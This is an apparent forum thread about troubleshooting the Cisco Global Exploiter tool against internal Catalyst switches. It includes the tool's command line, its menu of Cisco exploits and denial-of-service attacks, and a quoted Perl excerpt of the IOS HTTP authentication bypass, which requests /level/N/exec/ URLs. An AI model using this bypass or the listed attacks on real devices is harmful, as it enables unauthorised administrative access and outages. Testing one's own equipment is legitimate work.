cisco global exploiter

[demonize]

I am testing 4 of our internat cisco catalyst with cisco global exploiter and each time i get: vulnerability successfully exploited with 16
what does that mean?
I search google and didn't find any help full information.

[secure_it]

I am testing 4 of our internat cisco catalyst with cisco global exploiter and each time i get: vulnerability successfully exploited with 16
what does that mean?
I search google and didn't find any help full information.

Its intranet and what kind of vulnerabilities you got to exploit.Cisco IOS or SNMP Exploits?

[demonize]

what kind of vulnerabilities you got to exploit.Cisco IOS or SNMP Exploits?

Sorry i am not sure of what your asking.
./cge.pl -h host -v 3 ( cisco IOS HTTP Auth Vulnerability)

vulnerability successfully exploited with 16

WHAT DOES THAN MEANS?????????????????

[thorin]

What is the actual command you're typing?

[secure_it]

What is the actually command you're typing?

He has mentioned the command already
./cge.pl -h host -v 3 ( cisco IOS HTTP Auth Vulnerability)
for exploiting HTTP authentication on Cisco IOS.

[thorin]

He has mentioned the command already
./cge.pl -h host -v 3 ( cisco IOS HTTP Auth Vulnerability)
for exploiting HTTP authentication on Cisco IOS.

That does not follow the syntax required by the script.
If that's the command he used then there's no surprise it didn't work unless "host" is actually a valid hostname on his local network which seems doubtful. Additionally the -v switch does not take a string "3 ( cisco IOS HTTP Auth Vulnerability)".

[demonize]

Additionally the -v switch does not take a string "3 ( cisco IOS HTTP Auth Vulnerability)".

Here is how i typed it in
./cge.pl 192.168.1.254 -v 3

[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability

[2] - Cisco IOS Router Denial of Service Vulnerability

[3] - Cisco IOS HTTP Auth Vulnerability

[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability

[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability

[6] - Cisco 675 Web Administration Denial of Service Vulnerability

[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability

[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability

[9] - Cisco 514 UDP Flood Denial of Service Vulnerability

[thorin]

Here is how i typed it in
./cge.pl 192.168.1.254 -v 3

Ok that's what I was looking for (even if secure_it didn't get it).

Now looking at the code of the script. If the message you're getting back is:

vulnerability successfully exploited with 16

Then it's not parsing things correctly or it's not happy with your Cisco device somehow.
If things were working correctly for the commandline you provided it should return:

Vulnerability successful exploited with [http://192.168.1.254/level/16/exec/....]

However, if you look at the code you can simply do the test via any browser and see if successful or not.

[secure_it]

Ok that's what I was looking for (even if secure_it didn't get it).

Now looking at the code of the script. If the message you're getting back is:

vulnerability successfully exploited with 16

Then it's not parsing things correctly or it's not happy with your Cisco device somehow.
If things were working correctly for the commandline you provided it should return:

Vulnerability successful exploited with [http://192.168.1.254/level/16/exec/....]

However, if you look at the code you can simply do the test via any browser and see if successful or not.

If I am not wrong.level 16 is pointing to privilege level that is in execution mode.but in My knowledege there is level upto only 15 or administrator level.correct me thorin If I am wrong.http or SDM access is restricted to by default level 15 user only.Is this vulnerability trying to break into using level 15 privilege?

[thorin]

Yup you're kinda right, but the variable which represents the level in the code is primed to a value of 16 and loops through every value to 99.

sub cisco3 # Cisco IOS HTTP Auth Vulnerability
{
  my $serv= $host;
  my $n=16;
  my $port=80;

  my $target = inet_aton($serv);
  my $fg = 0;

  LAB: while ($n<100) {
  my @results=exploit("GET /level/".$n."/exec/- HTTP/1.0\r\n\r\n");
  $n++;
  foreach $line (@results){
          $line=~ tr/A-Z/a-z/;
          if ($line =~ /http\/1\.0 401 unauthorized/) {$fg=1;}
          if ($line =~ /http\/1\.0 200 ok/) {$fg=0;}
  }

..........